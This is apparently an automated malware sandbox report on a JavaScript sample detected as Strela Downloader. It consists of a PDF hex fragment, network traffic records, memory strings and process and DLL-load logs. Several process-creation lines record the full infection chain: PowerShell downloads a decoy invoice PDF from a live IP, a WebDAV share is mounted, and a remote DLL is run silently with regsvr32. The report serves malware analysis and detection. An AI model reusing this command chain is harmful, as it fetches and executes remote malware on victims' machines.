78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.1270873194.0000027DFD2E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000E.00000002.1327414778.00000171FA44E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000E.00000002.1327414778.00000171FA49E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000E.00000002.1327414778.00000171FA479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000E.00000002.1327414778.00000171FA479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/#
Source: net.exe, 0000000E.00000002.1327414778.00000171FA479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/o
Source: net.exe, 0000000E.00000002.1327414778.00000171FA44E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem.
Source: net.exe, 0000000E.00000002.1327414778.00000171FA479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/w
Source: svchost.exe, 00000010.00000002.2551048974.000002AC8B0C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.15.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.16.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.15.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.16.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000010.00000003.1329278680.000002AC90800000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.16.dr, edb.log.16.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.16.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.12.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4856, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1272729276326267500.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7036:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ph3tzeau.jdk.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1272729276326267500.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1748,i,14432181683164921515,984702019013668199,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1748,i,14432181683164921515,984702019013668199,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
